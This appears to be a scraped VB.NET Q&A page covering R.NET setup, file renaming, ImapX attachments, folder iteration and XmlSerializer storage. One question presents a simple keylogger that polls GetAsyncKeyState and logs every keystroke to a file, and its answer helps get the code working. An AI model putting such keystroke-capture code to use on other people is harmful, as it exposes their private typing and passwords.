How to get R.Net work with VB.Net - vb.net

I am trying to get R.Net work with VB.NET. I translated an official example from c# to vb.net but it is not working. There are different things I tried. First I used the SetupHelper as explained on the official page.
Imports System.IO
Namespace RDotNetSetup
Public Class SetupHelper
Public Shared Sub SetupPath()
Dim oldPath = System.Environment.GetEnvironmentVariable("PATH")
Dim rPath = If(System.Environment.Is64BitProcess, "C:\Program Files\R\R-3.0.2\bin\x64", "C:\Program Files\R\R-3.0.2\bin\i386")
If Directory.Exists(rPath) = False Then
Throw New DirectoryNotFoundException(String.Format("Could not found the specified path to the directory containing R.dll: {0}", rPath))
End If
Dim newPath = String.Format("{0}{1}{2}", rPath, System.IO.Path.PathSeparator, oldPath)
System.Environment.SetEnvironmentVariable("PATH", newPath)
End Sub
End Class
End Namespace
and
Imports RDotNet
Imports ConsoleApplication36.RDotNetSetup
Imports System.Collections.Generic
Imports System.IO
Imports System.Linq
Imports System.Text
Imports System.Threading.Tasks
Module Module1
Sub Main()
SetupHelper.SetupPath()
Using engine As REngine = REngine.CreateInstance("RDotNet")
engine.Initialize()
Dim charVec As CharacterVector = engine.CreateCharacterVector({"Hello, R world!, .NET speaking"})
engine.SetSymbol("greetings", charVec)
engine.Evaluate("str(greetings)")
Dim a As String() = engine.Evaluate("'Hi there .NET, from the R engine'").AsCharacter().ToArray()
Console.WriteLine("R answered: '{0}'", a(0))
Console.WriteLine("Press any key to exit the program")
Console.ReadKey()
End Using
End Sub
End Module
I dont get an error, using the debugger at engine.Initialize my test stops running ( the green Start arrow reappears).
So I found another example that should (apparentely) works on VB.Net
Imports RDotNet
Imports System.IO
Imports System.Linq
Module Module1
Sub Main()
Dim envPath = System.Environment.GetEnvironmentVariable("PATH")
Dim rBinPath = "C:\Program Files\R\R-3.0.2\bin\i386"
System.Environment.SetEnvironmentVariable("PATH", envPath & Path.PathSeparator & rBinPath)
Dim engine As REngine = REngine.CreateInstance("RDotNet")
Dim group1 As NumericVector = engine.CreateNumericVector(New Double() {30.02, 29.99, 30.11, 29.97, 30.01, 29.99})
engine.SetSymbol("group1", group1)
' Direct parsing from R script.
Dim s = "group2 <- c(29.89, 29.93, 29.72, 29.98, 30.02, 29.98)"
Dim group2 = engine.Evaluate(s).AsNumeric()
Dim testResult As GenericVector = engine.Evaluate("t.test(group1, group2)").AsList()
Dim p As Double = testResult("p.value").AsNumeric().First()
Console.WriteLine("Group1: [{0}]", String.Join(", ", group1))
Console.WriteLine("Group2: [{0}]", String.Join(", ", group2))
Console.WriteLine("P-value = {0:0.000}", p)
End Sub
End Module
Looks like the writer had the same problem and just left the engine.initialize. If I execute the code I get the error: "Value out of range" at Dim group1 As NumericVector = engine.CreateNumericVector(New Double() {30.02, 29.99, 30.11, 29.97, 30.01, 29.99}).
Anyone who could help me get a sample code for VB.NET to work? And explain me why i cannot initialize.
fyi: I checked the path and set all needed references.

Ok, hours of trying and discussion later it works. What I did:
I changed .net 4.5 to .net 4.0
I changed compiler settings from "AnyCPU" to "x86"
First line in the 'SetupPath()' is: System.Environment.SetEnvironmentVariable("R_HOME", "C:\Program Files\R\R-3.0.2")

Related

Unable to use KeysConverter in a keylogger program

I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.

Rename files sequentially

with reference to Renaming all files in a folder
on running the below code, get type def errors:
Type 'DirectoryInfo' is not defined
Type 'FileInfo' is not defined
how to resolve these errors. Please suggest.
Dim sourcePath As String = "E:\testrenamerbackup\vbdotnet"
Dim searchPattern As String = "*.doc"
Dim curDir As New DirectoryInfo(sourcePath)
Dim i As Integer = 0
For Each fi As FileInfo In curDir.GetFiles(searchPattern).OrderBy(Function(num) num.CreationTime)
File.Move(fi.FullName, Path.Combine(fi.Directory.FullName, "docFile_" & i & ".doc"))
i += 1
Next
Add Import System.IO on top of your vb.net class file, for example
Imports System
Imports System.IO
Public Class Test
Public Shared Sub Main()
' your code...
End Sub
End Class
System.IO Namespace contains types that allow reading and writing to files and data streams, and types that provide basic file and directory support including DirectoryInfo, FileInfo. by adding Import System.IO you can use those types and methods in the namespace.

Missing Carriage Return in Downloaded Email Attachment ImapX

Here is my code:
#Region "Imports"
Imports System.Text.RegularExpressions
Imports System.Text
Imports Microsoft.VisualBasic.CallType
Imports ImapX
Imports System.Runtime.CompilerServices
Imports System.Security.Authentication
Imports System.IO
Imports ml = System.Net.Mail
Imports System.Net
Imports ImapX.Enums
Imports ImapX.Constants
Imports System.Security.Authentication.SslProtocols
#End Region
Module Module1
Sub Main()
Dim _messages As List(Of ImapX.Message)
Using MyImapClient = New ImapX.ImapClient
With MyImapClient
.Host = ImapServer
.Port = Port
.SslProtocol = Ssl3 Or Tls
.ValidateServerCertificate = True
.Credentials = New ImapX.Authentication.PlainCredentials(UserName, Password)
Dim IsConnected As Boolean = .Connect
.Login()
.Behavior.AutoDownloadBodyOnAccess = False
.Behavior.AutoPopulateFolderMessages = False
.Behavior.MessageFetchMode = MessageFetchMode.Full
.Behavior.ExamineFolders = False
.Behavior.RequestedHeaders = {MessageHeader.From, MessageHeader.[Date], MessageHeader.Subject, MessageHeader.ContentType, MessageHeader.Importance}
'Dim IsInboxSelected As Boolean = .SelectFolder(.Folders.Inbox.Name)
'Dim IsInboxSelected As Boolean = .Folders(.Folders.Inbox.Name).[Select]()
End With
Dim MyFolder As Folder = MyImapClient.Folders.Inbox
_messages = MyFolder.Search().OrderBy(Function(n) n.[Date]).ToList()
_messages.ForEach(Sub(n) n.Download(MessageFetchMode.Full))
_messages.ForEach(Sub(n) n.Download(MessageFetchMode.Full))
End Using
Dim MyAttachment As ImapX.Attachment = _messages.First.Attachments.First
MyAttachment.Download()
Dim FolderPath As String = "C:\Users\AAA\Downloads\"
Dim LocalFileName As String = "1212.txt"
MyAttachment.Save(FolderPath, LocalFileName)
End Sub
End Module
The code works without issue--it connects to the imap server, downloads the first attachment of the first email, which happens to be a .txt file, so I'm saving it as such.
The problem is that the contents of the file is prepended with " * 2 FETCH (" and is followed by " UID 45", and all carriage returns are removed from the file.
Can you please assist? Thanks,
My guess is the CRLF's ( Carriage Return Line Feeds ) are not the format whatever you're viewing the download in is looking for. I would look at your attachment using something like NotePad++ and make sure you're showing Carriage Returns. If all you see are cr's and you're viewing the file in something looking for crlf's then they will get ignored.
Another thing to look at is what default encoding is your .download call using and what encoding is the original attachment in.

Trying to "iterate" a folder

I'm not sure if I'm using the right word: I'm trying to "iterate" trought a folder of files using Do While
My failed attempt:
Sub Main()
Dim myurl As String
Dim m As Object
myurl = "\\myroute\myroute"
ChDir(myurl)
m = Dir(myurl)
Do While m <> "" '<--m = nothing?
...'lines not important here
Loop
End Sub
But for some reason, when I start debugging, m has no value(m=nothing) so "do while" bucle is ignored.
What am I doing wrong? Any idea how to do it?
"\myroute\myroute" does exists
There is a very helpful method in .NET to do this Directory.EnumerateFiles:
For Each fileName As String In Directory.EnumerateFiles(myDirectory)
' Add your code
Next
You have to import the System.IO namespace to use the Directory class:
Imports System.IO

Save user-defined object into Windows Registry using VB.NET

I need to save created object into Windows Registry and after reopening application to read it? I know how to save and read string but this is complex object.
Any idea?
You maybe want to use a XmlSerializer (or other serializers). It's easy to use, and the documentation is full of examples.
But why storing it in the registry?
Better use Application Settings and User Settings.
EDIT:
Instead of the registry, save your object to a file in the ApplicationData directory of the user. You can get the path to this directory with
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Full example:
Imports System.IO
Imports System.Xml.Serialization
Module Module1
Public Class MySuperClass
Public Property MyString() As String
Public Property MyInt() As Int32
End Class
Public Sub Main(ByVal args() As String)
Dim myFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyApplication")
If Not Directory.Exists(myFolder) Then
Directory.CreateDirectory(myFolder)
End If
Dim myFile = Path.Combine(myFolder, "MySettings.txt")
Dim o = New MySuperClass With {.MyString = "Hi!", .MyInt = 42}
Dim x = New XmlSerializer(GetType(MySuperClass))
Using sr = New StreamWriter(myFile)
' Save directly to file
x.Serialize(sr, o)
End Using
' for demonstrating purpose
o = Nothing
Using sr = New StreamReader(myFile)
' Load directly from file
o = CType(x.Deserialize(sr), MySuperClass)
End Using
End Sub
End Module